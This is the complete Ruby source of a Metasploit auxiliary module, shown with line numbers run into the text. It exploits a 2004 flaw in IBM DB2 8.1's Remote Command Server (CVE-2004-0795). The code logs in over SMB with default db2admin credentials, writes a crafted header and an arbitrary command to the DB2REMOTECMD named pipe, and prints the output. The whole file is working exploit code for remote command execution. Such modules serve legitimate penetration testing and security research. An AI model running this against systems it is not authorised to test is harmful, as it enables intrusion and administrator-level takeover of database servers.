Path: blob/master/modules/auxiliary/admin/db2/db2rcmd.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::SMB::Client78def initialize(info = {})9super(10update_info(11info,12'Name' => 'IBM DB2 db2rcmd.exe Command Execution Vulnerability',13'Description' => %q{14This module exploits a vulnerability in the Remote Command Server15component in IBM's DB2 Universal Database 8.1. An authenticated16attacker can send arbitrary commands to the DB2REMOTECMD named pipe17which could lead to administrator privileges.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2004-0795' ],23[ 'OSVDB', '4180' ],24[ 'BID', '9821' ],25],26'DisclosureDate' => '2004-03-04',27'Notes' => {28'Stability' => [CRASH_SAFE],29'SideEffects' => [IOC_IN_LOGS],30'Reliability' => []31}32)33)3435register_options(36[37OptString.new('CMD', [ true, 'The command to execute', 'ver']),38OptString.new('SMBUser', [ true, 'The username to authenticate as', 'db2admin'], fallbacks: ['USERNAME']),39OptString.new('SMBPass', [ true, 'The password for the specified username', 'db2admin'], fallbacks: ['PASSWORD']),40]41)4243deregister_options('SMB::ProtocolVersion')44end4546def run47print_status('Connecting to the server...')48connect(versions: [1])4950print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")5152# Connect with a valid user/pass. if not, then bail.53begin54smb_login55rescue StandardError => e56print_error("Error: #{e}")57disconnect58return59end6061# Have it so our command arg is convenient to call.62rcmd = datastore['CMD']6364print_status('Connecting to named pipe \\DB2REMOTECMD...')6566# If the pipe doesn't exist, bail.67begin68pipe = simple.create_pipe('\\DB2REMOTECMD')69rescue StandardError => e70print_error("Error: #{e}")71disconnect72return73end7475# If we get this far, do the dance.7677fid = pipe.file_id7879# Need to make a Trans2 request with the param of 'QUERY_FILE_INFO' keeping our file_id80simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')8182# Write to the pipe, our command length comes into play.83pipe.write([0x00000001].pack('V') + 'DB2' + "\x00" * 525 + [rcmd.length].pack('V'))84# Send off our command85pipe.write(rcmd)8687# Read from the pipe and give us the data.88res = pipe.read89print_line(res)9091# Close the named pipe and disconnect from the socket.92pipe.close93disconnect94end95end969798